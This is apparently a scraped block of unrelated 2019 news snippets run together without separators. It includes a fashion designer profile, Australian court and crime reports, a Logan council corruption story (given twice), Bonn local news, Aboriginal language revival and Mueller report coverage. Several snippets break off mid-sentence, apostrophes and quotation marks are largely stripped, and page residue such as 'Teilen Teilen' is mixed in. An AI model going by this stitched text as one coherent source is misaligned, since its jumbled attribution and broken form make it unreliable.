rehearsals, and there were many repairs required. Each [costume] fitting, the scope of movement was amazing and even if I had mimicked it I couldnt mimic what would happen to the costume when it was on [the dancers], she says. Fregola, calamari and mussels at Totti's. Credit:Wolter Peeters Spender said the project, even if it has forced her to sacrifice other work this year, was a dream come true for the one-time ballet student. Every family photo from the age of five to 11, I am in my ballet costume. I loved it so much I wouldnt take [my costume] off, she says. I call myself the tortoise. My mum loves running fast and loves winning. Bianca Spender Spender's gazelle-like physique and flowing strawberry blonde hair means she could easily pass as a professional dancer, although she admits age and the way she moves has taken its toll on her body. I only recently realised at the physio when he asked how I move everything is always very extended, I am not holding my core very much," she says while demonstrating how she would pick up a vase off a table, arm outstretched. "I love how everything looks when its long but then you dont protect your body. Grilled whiting fillets at Totti's. Credit:Wolter Peeters Spender grew up in Sydney the middle of three children to fashion icon Carla Zampatti and John Spender (her parents separated in 2010). She recalls living in big, spacious houses where classical music was often playing and small talk was non-existent, the family preferring to tackle politics or business at the dinner table, sometimes to the bemusement of Spenders classmates. At school she would demonstrate her eccentric fashion taste on mufti days, but it wasnt until Spender reached adulthood that she truly understood her familys notoriety in Sydney's cultural scene. Bianca Spender has formed a reputation at fashion week for her non-linear catwalks. Credit:AAP Only years after I left school and I [reflected on] certain conflicts with certain kids that Id never understood. People would say, Well your mum is Carla Zampatti, and I was just like, Oh. The Zampatti-Spender family on the steps of their Sydney home in 1986. Clockwise from left: John Spender, Carla Zampatti, Alex Schuman, Allegra Spender, Bianca Spender. Credit:Ian Charles Cugley/SMH My mum is pretty normal, shes a postwar immigrant. What that means to me is you have to finish all your food, you live in a beautiful house but you understand the value of money. For a pre-teen Spender, that meant school holidays spent working at her mothers inner-city office, doing every job from tea lady to banking clerk. I am the most ridiculous jaywalker because I have been walking around the city since I was eight, Spender jokes. A firsthand apprenticeship in the Carla Zampatti offices, coupled with her familys work and social ethic, meant Spender had quite a feminist upbringing. I never felt the need to answer to a man, dress for a man, or been dependent on a man for anything. They dont have to approve of how I talk, what I wear, what I earn, what I spend my money on. Last year, Spender reached another milestone when she and Zampatti divided their businesses into separate entities, including a new head office in Rushcutters Bay for Spender. The pair are clearly close, often travelling together overseas or to fashion shows in Australia (both brands are carried at David Jones, for example). But when it comes to their work practices, Spender admits they are quite different. Loading I call myself the tortoise. My mum loves running fast and loves winning. She has racing car blood in her family (both Zampattis brothers were race-car drivers) but I am about the journey. Its not that I dont want the end result to look great. You can get a good result and have a terrible journey but that doesnt mean the same to me. I am [about] the long game. Which comes back to Spenders Fashion Week dilemma. She has a big vision of a project involving 10 women who have influenced her, dressing 10 other women, using her carefully archived collections. Its still morphing but she knows it wont be ready by mid-May, when fashion week takes place. I am probably being too ambitious in what I want to achieve out of it. But at least if I am pushing myself to strive for something. I wont do what I expect and Ill find that new form. (A week after our lunch, Spender phones to say she has decided to sit out of Fashion Week and will instead stage a solo, more intimate event in early May.) Recently, Spender has experimented with salon-style showings, where she revels in getting up close with the clothing and the customer. As someone whos more comfortable at a dinner party for 10 than a cocktail function for 300, Spenders aversion to big-production shows is understandable. At least if I am pushing myself to strive for something. I wont do what I expect - and Ill find that new form. Bianca Spender At a big party, my partners wings will get bigger. Whereas if you have me at a dinner party, I am passionate put me around lots of people and they are asking, Whats wrong with you? I am so not a show pony I find shows an incredible creative process but the way you only get eight to 10 minutes to present your world I remember once saying 12 [seconds] to [stylist] Mark Vassallo and he said, No, 12 is way too long. And I said, That dress took 12 weeks to get right and I cant have it on stage for eight seconds. I want to challenge that. The bill at Totti's. One point on which Spender and her mother are in lockstep is on the retention of Australian fashion talent (Zampatti funds a scholarship for a UTS graduate to study overseas, with the intention of them returning home). Unlike some of her peers, Spender, who worked in France and Italy in fashion for four years after completing a commerce degree, has resisted aggressively chasing sales or the limelight overseas. We know we [Australia] are leaders in sport compared to our population ... in fashion theres still a, Whats everyone else doing? attitude. New Zealand has a very strong vision for its fashion with a small population but Australia is often very outward looking. We need to find a bit more confidence in ourselves and our own vision and our own style. Our need to be revered by overseas comes from our lack of supporting ourselves and our culture Whenever [a journalist] writes on a designer, its X is stocked on [e-tailer] Net-a-Porter. Do they need to be stocked there for you to love them? A lot of people go bankrupt trying to catch the overseas dollar. I am focused on building my Australian market. If my international market comes quicker, great, but I am not running after it. I dont need it to prove to myself that what I do is unique and has a strong vision. Great interviewers can cut to the core of an idea or an issue with just one question. I was reminded of that this week when I appeared on Richard Fidlers Conversations program discussing my latest book, Australia Day. Conversations has become an ABC radio institution because it is that rare program that isnt afraid to discuss big ideas, that eschews the cheap gotcha moment to open up discussion rather than shut it down. It is a program essential to our democracy. After everything that has happened to Aboriginal people in Australia, Fidler asked, why do you still believe in liberalism? Well do I? Hasnt liberalism been the handmaiden of empire? Isnt it complicit in racism and colonisation? Yes, but that doesnt tell the full story. Liberalism is also a liberating idea; an idea of emancipation and freedom, of individual liberty and universal human rights emerging out of the 17th century Enlightenment that gave shape to the modern world. An angry man who gunned down an innocent bystander on a street in south west Sydney while feuding with two brothers has been jailed for at least 10-and-a-half years. Mathew Glenn Russell pleaded guilty in December to manslaughter on the basis of excessive self-defence and defence of others, after he shot 46-year-old Qusay Jabbar Al Mhanawi in the head as he sat in his car in Heckenberg in March 2016. In addition, a jury found the 31-year-old guilty of discharging a firearm with intent to cause grievous bodily harm to Tyson Parker and Latu Vakuata who also lived in the area that same evening. Acting Justice Peter Hidden in the NSW Supreme Court jailed Russell for 14 years with a non-parole period of 10-and-a-half years on Friday. People who feed dingoes on Fraser Island could cop fines of more than $10,000 under tougher regulations proposed days after a toddler was dragged from a camper trailer. The Queensland government intends to double the maximum fine to $10,444 and hike the minimum fine to $2088, more than five times its present value. This Fraser Island dingo was stealing food from the roof rack of a tour vehicle. Credit:Unknown More fenced camping sites could also be created on the island, and an education campaign run to improve visitor safety. Environment Minister Leeanne Enoch said people needed to understand that feeding dingoes embolden them, and increased risks for humans. One of south-east Queensland's largest councils has been rocked by the automatic suspension of most of its councillors after they were charged with integrity offences, with Logan City Council now unable to reach a quorum to make decisions. Suspended mayor Luke Smith and seven councillors have been charged over their alleged involvement in causing a dishonest detriment to the Logan City Council's former chief executive Sharon Kelsey. Sharon Kelsey was controversially sacked from Logan City Council. Credit:Alexandra Weaver. The charges were laid on Friday, with councillors Russell Lutton (Division 2), Steven Swenson (Division 3), acting mayor Cherie Dalley (Division 6), Laurence Smith (Division 7), Phil Pidgeon (Division 9), Trevina Schwarz (Division 11) and Jennifer Breene (Division 12) and Cr Smith all bailed to appear in court next month. As a result of laws passed in 2018, the seven councillors were automatically suspended on full pay, pending the outcome of the criminal charges. Chinese President Xi Jinping (R) meets with his Cypriot counterpart Nicos Anastasiades, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Yan Yan) BEIJING, April 25 (Xinhua) -- Chinese President Xi Jinping on Thursday met with his Cypriot counterpart Nicos Anastasiades, who is here to attend the Second Belt and Road Forum for International Cooperation. China and Cyprus have set an example of equal treatment and mutually beneficial cooperation between big and small countries in the international community, Xi said. The two sides should continue to support each other's core interests and major concerns and expand areas of bilateral cooperation, Xi said. China is ready to deepen cooperation with Cyprus in port, maritime transportation and infrastructure construction, and discuss exploring third-party cooperation in the Mediterranean region, Xi noted, voicing the hope that the Cypriot side can continue to play an active role in promoting the development of China-Europe relations. Anastasiades said the Cypriot side will adhere to the one-China policy and actively participate in the joint construction of the Belt and Road. He said that Cyprus will continue to be an important partner of China in the European Union, and that he hopes China can support the United Nations peacekeeping force in continuing operations in Cyprus. 2 1 [ Editor: Zhang Zhou ] City monitoring the situation : Complaints about alcohol and drug scene at Kaiserbrunnen BONN Local residents and business are complaining that drugs and alcohol are being consumed openly at the Kaiserbrunnen. It appears the drug scene has relocated there because of construction at Maximilian Center. The city is monitoring the situation. Teilen Teilen Weiterleiten Weiterleiten Tweeten Tweeten Weiterleiten Weiterleiten Drucken For a year and a half there was peace and quiet around the Kaiserbrunnen at the underpass to Poppelsdorfer Allee. At that time, the city of Bonn had banned the kiosk operator there from selling alcohol, because the cheap beer attracted many alcoholics and drug addicts, who then situated themselves there. There was frequent fighting amongst them and harassment of passers-by. The kiosk operator quit and the city awarded the kiosk license to a new operator. Now the alcohol and drug scene is back, to the annoyance of the businesses in the area and many passers-by. The reason for the return is apparently the construction site around the Maximilian Center: For a few days now, the roofed area at the ramp to the subway - which has so far been the main meeting point of this crowd - is closed off with a wooden fence. "It is now spreading out here to the Kaiserbrunnen," complains the owner of a vegetarian snack bar, who does not want to be named. Since then, he has had to cope with a significant decline in customers, because most people wanted to leave the troubled area quickly. "My daughter and I have even observed how these people here do drugs on the open street," the man reports. He had called the municipal public order department about it but an employee there accused him of lacking understanding for those people hanging out there. Monika Lunge sells flowers next door and observes that the square at the Kaiserbrunnen is mainly populated in the morning by people in the alcohol and drug scene. "Next week, school starts again, and many children go through the underpass. I can only hope that the staff of the Ordnungsamt (public order department) will keep an eye on the situation, as we were promised. So far, however, we all feel abandoned by the city." Lunge had got the ball rolling when it came to the ban on selling alcohol. At that time there had been many skirmishes directly in front of her flower stand. Henriette Reinsberg, who lives very close to the underpass, has also been asked several times by citizens about the changed environment around the Kaiserbrunnen. "This situation is unacceptable", says the CDU local politician, especially as it is one of the most central underpasses in Bonn, which is crossed daily by many thousands of people. She knew that there was basically not much that could be done to prevent the group of people from hanging out there. "We have tried in vain to ban alcohol consumption in this area." But it was subject to certain conditions. For example, it must be proved in advance that the public safety is endangered by it. "I wrote to the head of the city ordinance office and asked him to take action and rigorously intervene in the event that violations occur." She planned to address the problem in her parliamentary group. "After Easter, tips from citizens reached the municipal public order department that drugs were being consumed near the Kaiserbrunnen," confirms Stefanie Zienitz of the city press office. The public order department works closely with police, and selling or using drugs would be punished accordingly, as would illegal urination in public and aggressive begging. If necessary, people would be banned from the area: "We will continue to monitor the situation. Orig. text: Lisa Inhoffen Logan residents have been left with just four serving councillors, with most of the council automatically suspended after being charged with integrity offences. On Friday, it was revealed suspended Logan mayor Luke Smith and seven councillors would be charged for their alleged involvement in causing a dishonest detriment to the Logan City Councils former chief executive Sharon Kelsey. Logan mayor Luke Smith with the letter from Local Government Minister Stirling Hinchliffe, which formally suspended him on Tuesday, May 22, 2018. Credit:Tony Moore All eight were charged after attending Crime and Corruption Commission headquarters throughout the day. They were bailed to appear in Brisbane Magistrates Court in May. We have disparate, voiceless victims up against powerful corporations with well-connected lobbyists who dismissed their experiences as unfortunate exceptions who had run into the rare bad apples of an otherwise upstanding industry. The culpability of failed legislation and weak regulators should not be underestimated. It has left far too many small business franchisees bankrupt or suffering mental illness owing to the stress of watching their dreams turn to nightmares. The franchisees are people who often put their homes on the line to make a go of their own business. Loading Unlike the banks, we don't need a royal commission here. Time is up. There have been 17 inquiries in the past four decades. Each of them failed to shift the dial on action. The latest was a bipartisan parliamentary inquiry in March which called out "entrenched cultural problems", "imbalance of power" and "systemic conflicts". In response, Labor has pledged a taskforce to advise it on the inquiry's recommendations, while the government has sat silent. It is not clear how long that will take or where it will lead. The government is yet to even match that level of commitment. This is despite plentiful rhetoric around the importance of family businesses and wages, not to mention the fact franchising is a sector worth $170 billion employing more than 500,000 workers. The industry's governing code is a joke. Its provisions are farcical and when breached the penalties are pathetic. Domino's was caught red-handed breaking disclosure rules around how it handles millions of dollars funnelled upwards from its franchisees for marketing. The penalty meted out from the Australian Competition and Consumer Commission was $18,000 for a business with pre-tax profits expected to stretch to almost $250 million. Little wonder, just like the banks, franchise chains seem to view penalties for malfeasance as a cost of doing business. An unlikely cost at that. It is time for the ACCC to be adequately resourced and to be let off the leash to set about balancing the scales for franchisees. It also needs to be made clear to the ACCC that cleaning this sector up is a priority. To do so an important legal change is required to outlaw the use of unfair contract terms. It is gobsmacking that a franchisor, armed with advice from top-shelf lawyers, can intentionally craft a legal agreement that it knows stacks the deck in its favour in the way franchise agreements do at the moment. It should be remembered that these franchisees believe they are striking something of a partnership, not being indentured by a large corporation and its shareholders. The other depressingly constant theme of the scandals in this sector is the rampant, repeated, egregious and immoral exploitation of workers. Especially workers from overseas. Over and over again, we have seen franchisees take advantage of a lack of awareness of the rights of these immigrants to pay outrageously low wages. This usually sees the workers caught in a devilish catch-22. In order to survive on the sub-standard pay on offer they will work more hours than they are entitled to on their visas often student visas and so are too scared to speak up in case they are deported. Often franchisors are wilfully blind to what is happening under their banner; what makes Chatime even more disgraceful is that rampant breaches occurred in stores owned by its head office. Chatime's callous handling of a worker it knew it owed at least $32,000 speaks volumes. It low-balled her with a $20,000 offer through a big law firm betting she would go away rather than risk visa issues. She took it. How often does this scenario play out every day across the economy? Loading The answer is that underpayment is so widespread that it is undermining the award system. Another damning inquiry released days before the franchising inquiry led by Allan Fels found simply that "wage theft is getting out of hand". Fels called for the introduction of prison sentences for business owners who knowingly exploited workers and for a massive overhaul of the Fair Work Ombudsman. He is right. This regulator is clearly overworked, under-resourced and not sufficiently motivated to use the powers it already has. Like the financial sector the ombudsman has been shown to be too willing to throw the book at small operators and cut deals with the big end of town. Five tourist spots along the Great Ocean Road, including Port Campbell beach, have been closed as dangerous swells some 15-metres high pound Victorias south-west coast. Warning of "significant swells", Bureau of Meteorology senior forecaster Chris Godfred said the forecast meant that every third wave could be eight to nine metres, and once or twice during the day you could see a wave of 14 to 15 metres in the open ocean. The huge waves didn't make it, but there was still plenty of action in the Rip Curl Pro at Bells Beach. Credit:Justin McManus Parks Victorias area chief ranger for the Shipwreck Coast Andrew McKinnon said he was actively monitoring the foreshore at Port Campbell where two life savers drowned on Easter Sunday = where they were expecting a 7.1 metre swell out to sea combined with a 1.1 metre tide and 50km/h winds. He said the weather conditions were not unusual for this time of the year, but Parks Victoria would be actively monitoring the water on Friday and Saturday. Two people arrested by counter-terrorism officers in North Melbourne on Friday were released without charge on Saturday. Police say the dramatic arrests of a man and a woman on Friday afternoon was "intelligence gathering" and not related to a specific incident. The Joint Counter Terrorism Team arrested a man and a woman on the footpath out the front of St Mary's Anglican Church in North Melbourne about 2pm, Friday. In a statement, police described the arrests as a "routine operation", that two people were still being questioned and no one had been charged. The waiter says it's delicious, so you order the squid ink pasta. It arrives at your table, but nobody told you it was going to be black. You don't want a black pasta. Mr Yum's interactive menu in action at Mexican haunt Mamasita. Credit:Eddie Jim Could this have been avoided? Imagine being able to hover your phone over the restaurant's menu and instantly see a picture of the dish you were considering ordering. Masked intruders stormed this Cairnlea home early on Friday morning. Credit:Zach Hope Four men in balaclavas stormed a family home and repeatedly stabbed a man during a terrifying home invasion in Melbourne's north-west. The gang broke through the locked front door of the Cairnlea unit, on Station Road, about 2.50am on Friday when they were confronted by the man who was home with his family a 33-year-old woman and three children aged five, 16 and 17. The 50-year-old victim tried to fight off the intruders and was stabbed multiple times in the torso. He was taken to Royal Melbourne Hospital in a serious condition. The woman and children were not hurt. "The family are understandably quite shaken by what's happened," Detective Senior Constable Kane Treloar said. "They're spending some time with him now in hospital." A disabled woman has avoided jail for holding two intellectually impaired women captive in northern Victoria and raping them over nearly two months. Kimberley Cramp, 28, and her partner-carer Alexander Trewin, 27, befriended the women before conning them into going to the couple's Wodonga home, where the victims were held between August 15 and October 12, 2016. Kimberley Cramp and Alexander Trewin outside Wodonga court last month. Credit:Border Mail Cramp digitally raped both women, then aged 22 and 26 and with intellectual disabilities, the County Court was told on Friday. When one of the women told Cramp to stop, she replied "I'm helping you and I'm not stopping" and in another instance told the woman her mother had said it was OK. Gunak is a Taungurung word meaning clouds of blood. Its the colour the clouds take on when theres a bushfire, and Aunty Lee Healy remembers seeing them when fires were burning around her home at Healesville. Its been three generations since Aunty Lees Dhagung Wurrung people spoke of gunak, or indeed had any kind of conversation in their own language, which has all but died out. But Aunty Lee is bringing her ancestors fluent language back home to the community of about 3000 who live on and off country across central Victoria. She has compiled a dictionary and a grammar of the Taungurung language, and she is teaching it to everyone she can reach, from toddlers to old people. Aunty Lee, a Dhagung Wurrung elder and a language specialist for more than 25 years, and linguist Harley Dunolly-Lee, a Dja Dja Wurrung man who studies the Kulin language, are each presenting sessions on reviving Aboriginal languages as part of the YIRRAMBOI Festival in Melbourne. Aunty Lee Healy and Harley Dunolly-Lee are on a mission to preserve traditional languages. Credit:Paul Jeffers Before colonisation, there were about 250 Indigenous languages spoken in Australia (approximately 40 in Victoria). According to the Victorian Aboriginal Corporation for Languages (which supports the sessions), many Indigenous languages have declined to a critical state. More than three-quarters of the original languages have been lost, and the survival of almost all of the remaining languages is extremely threatened. When Aunty Lee was a child, her own aunty set up language camps for kids, who had grown up speaking English; the last person she knows of who spoke Taungurung as a first language was her great-great grandmother Lydia. But it wasnt easy to learn the old language because all the children had what she calls an English mindset. I think weve gone long enough without learning our language, she says. To revive and reclaim it is the biggest thing. Because language is your identity. What was once the Taungurung-speaking area is huge: from the top of the Great Dividing Range to below Benalla, and from Mount Buffalo to the Campaspe River. When Auntie Lee began her analytical dictionary, she had no idea what she was letting herself in for. The book contains close to 4500 words and took her four-and-a-half years. The difficulty is summed up in the endpapers, which display 108 different spellings of the word Taungurung. The trouble is that any written records of the language made from the 1840s onwards were by white colonists. The spellings vary, its often not clear how the words were pronounced, or even exactly what they mean. Aunty Lee researched the records and talked to elders, and her community often had to decide on a words spelling. Then to compile the grammar, she first had to get a linguistics and anthropology degree at Monash University. Our ancestors were academics in their own right, she says. Usually there were about three to four languages they needed to access so they could travel through country. Harley Dunolly-Lee was inspired to research Aboriginal languages through the stories and letters of his great-great grandfather Thomas Dunolly (1856-1923), who took a prominent role in the first organised protests by Aborigines against conditions on the Coranderrk Reserve at Healesville. He had better writing and interpreting skills than other leaders such as William Barak, so he became the movements scribe, penning protest letters and petitions to newspaper editors, bureaucrats and politicians. His great-great grandson learned about him from his mother and grandfather. We have all these letters he wrote until the day he died. He was described as troublemaker by letter because he would contradict the descriptions that made the mission look better. Dunollys fight for the rights of first nations people in Victoria sparked a passion in his great-great grandson to preserve, reclaim, retrieve and revive cultural heritage and language. He took an undergraduate degree in linguistics, archaeology and Indigenous studies, and then honours in linguistics, both at Monash University. The reason so many Aboriginal languages have died is because the colonists wouldnt allow people to speak them on missions, in schools and in public, Dunolly-Lee says. It was racism we dont want that jabber here. The culture and language were thought to be inferior. But later missionaries and researchers realised that Aboriginal languages were very advanced just like any other language in the world, if not better. The 19th Century texts and recordings in the 1950s by linguist Luise Hercus were some help in preserving language. However, the historical sources often misinterpreted words or phrases: A word might have many meanings, but they might only record one. They were giving themselves the power to take that knowledge in the way they wanted it. In his workshop, Dunolly-Lee will look at the language of kinship ties and how they were misunderstood. For example, the word for brother in Aboriginal society might include what colonials would call cousins. It glosses over all the cultural stuff. The language project is expanding. People are inventing words to describe new things in Taungurung. Aunty Lee has taught non-Aboriginal kids Taungurung at Buxton Primary School: they sing a song they wrote and she translated, Wurriut Dugan (the river is flowing). There are plans for childrens story books and theres a dictionary app that children love. She shows me the app on her phone with a cartoon picture of a boobook owl and the voice of a child saying muk muk. She remembers a conversation between her two great-nieces looking at the picture. One said muk muk and the other replied No, thats a birdie. The first little girl put her hands on her hips and insisted: muk muk. Im mentoring a couple of young ladies to take over from me, hopefully the young ones will keep going and know their language, she says. It was so exciting doing this. I wanted the language to be written so it would never be lost again. It needs to go back home. Aunty Lee Healys symposium, Our Mother Tongue, is at the Wheeler Centre on Wednesday, May 8, at 10am. Harley Dunolly-Lees workshop, on cultural words and meanings, is at the State Library Victoria on Monday, May 6, at 10am. Both events are free but booking is required. The YIRRAMBOI Festival runs May 2-12. yirramboi.net.au A former school teacher caught with hundreds of child porn images on his computer has been sentenced to 15 months behind bars. Frank Viola, 60, was jailed for possessing more than 300 images and three videos of child exploitation material in the District Court of Western Australia on Friday. Frank Viola was sentenced to 15 months jail. Credit:LinkedIn Judge Amanda Burrows SC told the court Viola who had been a teacher for 28 years to 2010 had admitted to police having a sexual interest in young girls, and had been accessing child porn from 2005. "You had a sexual interest in children but had not sought help due to embarrassment and repercussions," she said. Police have charged a 23-year-old man in relation to the alleged Mount Lawley home invasion on Friday in which one intruder was stabbed to death. It will be alleged about 1.45am two people entered a home on Guildford Road via separate doors, the click of a gate alerting one of the four people inside, all of whom were awake. The crime scene stretched for about 100m along Guildford Road. Credit:Radio 6PR / Lisa Barnes Its believed a violent encounter ensued involving weapons including a sword. The two alleged offenders fled the scene, one collapsing 100 metres away, having suffered stab wounds. North Cemetery in Bonn : Hundreds of Hells Angels expected at funeral Rocker bei einer Demonstration in Berlin. Auch in Bonn werden jetzt Hunderte Rocker erwartet. Foto: dpa BONN Hundreds of bikers are expected at the northern cemetery of Bonn this Friday. A 58-year-old from the region who was close to the Hells Angels will be buried there. Motorists are advised to avoid the immediate area. Teilen Teilen Weiterleiten Weiterleiten Tweeten Tweeten Weiterleiten Weiterleiten Drucken Bonn police are on standby: On Friday afternoon hundreds of bikers are expected to come to the Nordfriedhof (North Cemetery) in Bonn. According to GA information, a 58-year-old man from the region, who had a close relationship to the Hells Angels, will be buried there. The funeral was co-organized by Frank Hanebuth, who was once considered the most powerful Hells Angel in Europe. "According to current information, the mourners are expected to arrive in groups with motorcycles and cars beginning at 1:30 p.m., according to a police spokesman. The funeral was scheduled for 3 pm. A majority of the vehicles will be parked in the area of Hans-Herter-Strae, In den Dauen and the adjacent streets. The departure of mourners will also mean traffic restrictions for the area. "The police will be on site. Motorists are advised to avoid the immediate area. The police would not comment on whether Frank Hanebuth would attend the funeral service. The biker boss of the now dissolved Hells-Angel-Chapter in Hanover is facing a long prison sentence in Spain. According to Spanish judicial authorities, the 54-year-old and 45 co-defendants are accused of drug trafficking, pimping, founding a criminal organization, kidnapping, extortion, human trafficking, and money laundering. According to the investigators, the group was active as a criminal organization in Mallorca from 2009 to 2013. The public prosecutor's office demanded 13 years imprisonment for Hanebuth in court in February. But Hanebuth has been active again in Hanover's red light district: In June of 2018 he opened a new bar there. A Perth mother has been charged with common assault after she slapped another mother at a western suburbs primary school last month. A Department of Education spokeswoman said an altercation between the two women broke out at Dalkeith Primary School on March 14. A sand state of affairs. Credit:Google Maps Police said it will be alleged around 4pm, the woman was at a school on Circe Circle. It's understood a child had damaged another child's sandcastle before the mother stepped in. A Perth man who sought out live sex shows of young girls in the Philippines online has been jailed for six years. Hugh Cameron, 58, was due to stand trial in the WA District Court earlier this year but the married father of one instead pleaded guilty to seven charges of intending to procure a child to engage in sexual activity outside Australia. The FBI tipped off the AFP about Cameron's online activities. Credit:file image As first reported by WAtoday Cameron's online offending was uncovered after a tip off from the FBI to Australian Federal Police. That tip-off led to his arrest in Perth in 2017. A federal Liberal candidate has apologised for linking same-sex marriage with paedophilia during the marriage equality debate, after being questioned by The Age. Gurpal Singh, a lawyer and lecturer who is running to take the safe Labor seat of Scullin, said during a radio interview in 2017 that legalising same-sex marriage could open the gates to more sexual abuse of children. Gurpal Singh, Liberal candidate for Scullin in Melbourne's northern suburbs. Credit:Liberal Party He also slammed the Coalition government as weak for holding a postal vote on the issue, insisting it should have settled the matter in Parliament. Mr Singh made the comments while campaigning for the no vote during the same-sex marriage plebiscite. Kasawo, Uganda: Mariam Nabatanzi gave birth to twins a year after she was married off at the age of 12. Five more sets of twins followed - along with four sets of triplets and five sets of quadruplets. Three years ago, however, the 39-year-old Ugandan was abandoned by her husband, leaving her to support their surviving 38 children alone. It was just the latest setback in a life marred by tragedy for Nabatanzi, who lives with her children in four cramped houses made of cement blocks and topped with corrugated iron in a village surrounded by coffee fields 50 km north of Kampala. After her first sets of twins were born, Nabatanzi went to a doctor who told her she had unusually large ovaries. He advised her that birth control pills might cause health problems. Washington: Former vice president Joe Biden called Anita Hill this month to express his regret over "what she endured" testifying against Justice Clarence Thomas at the 1991 Supreme Court hearings that put a spotlight on sexual harassment of women, according to a spokeswoman for Biden. But Hill, in an interview on Wednesday, said she left the conversation feeling deeply unsatisfied and declined to characterise his words to her as an apology. She said she is not convinced that Biden truly accepts the harm he caused her and other women who suffered sexual harassment and gender violence. "I cannot be satisfied by simply saying I'm sorry for what happened to you. I will be satisfied when I know there is real change and real accountability and real purpose," she said. The President has claimed that Mueller's investigation resulted in his "complete and total exoneration." "Despite the fact that the Mueller Report was 'composed' by Trump Haters and Angry Democrats, who had unlimited funds and human resources, the end result was No Collusion, No Obstruction. Amazing!" he tweeted Thursday. Through a combination of missed opportunities and personal hesitation, Lewandowski never executed Trump's demand. But the roughly month-long period in the summer of 2017 depicted in Mueller's report details repeated and escalating efforts by the President to stymie the Russia probe laying out evidence that former prosecutors said meets the elements required in an obstruction-of-justice charge. "This is a very significant episode," said Barbara McQuade, who served as a US attorney in Michigan during the Obama administration. "The question is, are all of the elements of obstruction of justice met? Was there an act, was there a sufficient nexus and was there a corrupt intent? Here, the answer is yes, yes and yes." She added: "There are several episodes where I am confident that if this were not the President of the United States, charges would absolutely be recommended. And this is one of them." Former independent counsel Robert Ray, however, said he believes the President's conduct in office must be assessed with some nuance not just to see whether it meets the technical case for obstruction. "It's the President ... You've got to have a certain amount of latitude for the President to roam and manoeuvre in the execution of his constitutional duties," Ray said. He said he was not arguing that the President is above the law but that prosecutors have discretion about whether to charge a crime and always look at more than merely whether the elements of a crime are present. 'Mueller has to go' Trump was already unhappy about the special counsel's investigation when The Washington Post reported on June 14, 2017, that Mueller had broadened his probe to include whether Trump had obstructed justice. The President was now "facing what he had wanted to avoid: a criminal investigation into his own conduct that was the subject of widespread media attention," the report stated. Three days later, Trump called White House Counsel Donald McGahn and directed him to have Mueller removed, according to the special counsel's report. "Mueller has to go," McGahn recalled the President telling him. The White House counsel contemplated resigning but ultimately was persuaded by other Trump aides to stay. He did not follow the President's directive. Trump denied the episode in a tweet Thursday, saying he never told McGahn to fire Mueller. "If I wanted to fire Mueller, I didn't need McGahn to do it, I could have done it myself," he wrote. Since the release of Mueller's report, congressional Democrats have focused on trying to get more information from McGahn, a participant in several key episodes who has drawn Trump's ire for sharing potentially damaging information with prosecutors. But the report indicates that Lewandowski also provided revealing information about his interactions with Trump during an April 2018 interview with the special counsel's office. Lewandowski declined to comment. On June 19, 2017, two days after his call to McGahn, the President summoned Lewandowski to the White House going outside the government to execute a task his own White House counsel had refused to carry out. Corey Lewandowski leaves a New York hotel on April 10, 2018. Credit:AP Lewandowski had repeatedly proved his loyalty to Trump. He had signed on with the campaign when the New York mogul's candidacy was widely dismissed as a joke. He followed the mantra of "Let Trump be Trump" and offered fiery defenses of his boss. When he was fired from the campaign, he appeared on television that day to praise Trump. By the time he met with the President in the Oval Office that June day, he had refashioned himself as a Washington lobbyist, drawing on his Trump ties. After some small talk, the President turned to the purpose of the meeting, according to the special counsel report. He was angry that Sessions had recused himself from the Russia investigation and had a message he wanted Lewandowski to pass along to the Attorney-General. "Write this down," the President ordered Lewandowski, prompting the former aide who had never taken dictation from Trump before to begin scribbling as fast as possible, to make sure he captured Trump's torrent of frustration. Trump wanted Sessions to deliver a speech declaring that the President was "being treated very unfairly," and that he should not be facing a special counsel investigation "because he hasn't done anything wrong," the report states. Sessions should conclude the speech, Trump told Lewandowski, by announcing he planned to meet with Mueller in order to limit the investigation to future instances of meddling in US elections. The senior Justice Department official said bringing a prosecution on those facts would have been complicated because the obstruction "relies on multiple people in a chain all doing something," including Lewandowski delivering the note, Sessions being persuaded by it and then Sessions moving on the special counsel. "That's a very attenuated chain," the official said. "It's even more attenuated given that the note isn't even an order." McQuade said that Trump's decision to turn to a supporter outside of government such as Lewandowski as his messenger was legally significant, indicating that the President viewed this as an action to be taken outside of official channels. "It will be clear this is coming from Trump himself and not coming from another government official," she said. "It makes the message more powerful. It provides a fair inference of corrupt intent." Ray took a different view, noting that the actions the Mueller report described are certainly within the purview of the President giving orders to his Attorney-General, and even choosing to seek out private citizens to accomplish his goals. A President should be able to feel out his role and decide how he thinks it best to carry it out, he said. The Justice Department official said prosecutors would have had to prove not just that Trump wanted to shut down the investigation but that he did so with corrupt intent. The official said there was some evidence that Trump wanted to end the investigation because of the effect it was having on his presidency, rather than to cover up another crime, and noted that Mueller did not conclude Trump coordinated with Russia to interfere in the election. Lewandowski told the President he understood his request but felt uneasy, according to the report. He told investigators that he wanted to have the conversation with Sessions in person, rather than over the phone. He invited Sessions to his office the following evening because he did not want the public record of the meeting if he met with the Attorney-General at the Department of Justice, the report said. Because of a last-minute conflict, the Attorney-General canceled the meeting. Lewandowski said he stored his notes of Trump's request in a home safe his standard practice for items he believed were sensitive. But he also began contemplating a way to hand off the task. Former White House chief of staff Reince Priebus told Mueller's team that he vaguely remembered Lewandowski telling him that Trump had asked him to get Sessions to resign and that Lewandowski was befuddled by the request. "What can I do?" Priebus recalled Lewandowski saying. "I'm not an employee of the administration. I'm nobody." Lewandowski approached Rick Dearborn, a former chief of staff to Sessions who served as a senior White House official, and asked him if he might deliver a message to Sessions, without describing the contents. Dearborn agreed. Lewandowski told investigators that he believed Dearborn would make a "better messenger" than him because of Dearborn's deep relationship with Sessions, but also because he was a government official. On July 19, 2017, Trump and Lewandowski again met alone in the Oval Office. Their encounter came shortly after The New York Times reported that Donald Trump jnr had met during the campaign with a Russian lawyer who he believed would provide damaging information on Hillary Clinton. Trump again asked Lewandowski if he'd spoken with Sessions about the President's previous request. Lewandowski promised he would soon. The President told his former campaign manager that if Sessions refused, Lewandowski should simply tell the Attorney-General he was fired, according to the special counsel's report. Before entering the Oval Office, Lewandowski had given his handwritten notes from the previous meeting to Hope Hicks, then the White House communications director, and asked her to type them up. When he left the Oval Office, he ran into Dearborn, and handed him the typewritten version of the message Trump wanted delivered to Sessions. It was the first time Dearborn learned of the contents of the missive. He told Mueller's team that it "definitely raised an eyebrow" and made him uncomfortable. He said didn't want to know where the directive came from - or even think about it anymore. He did not pass along the message to Sessions and discarded the notes. Dearborn declined to comment. Meanwhile, Trump was publicly ramping up his attacks on Sessions. Just hours later, in an interview with the 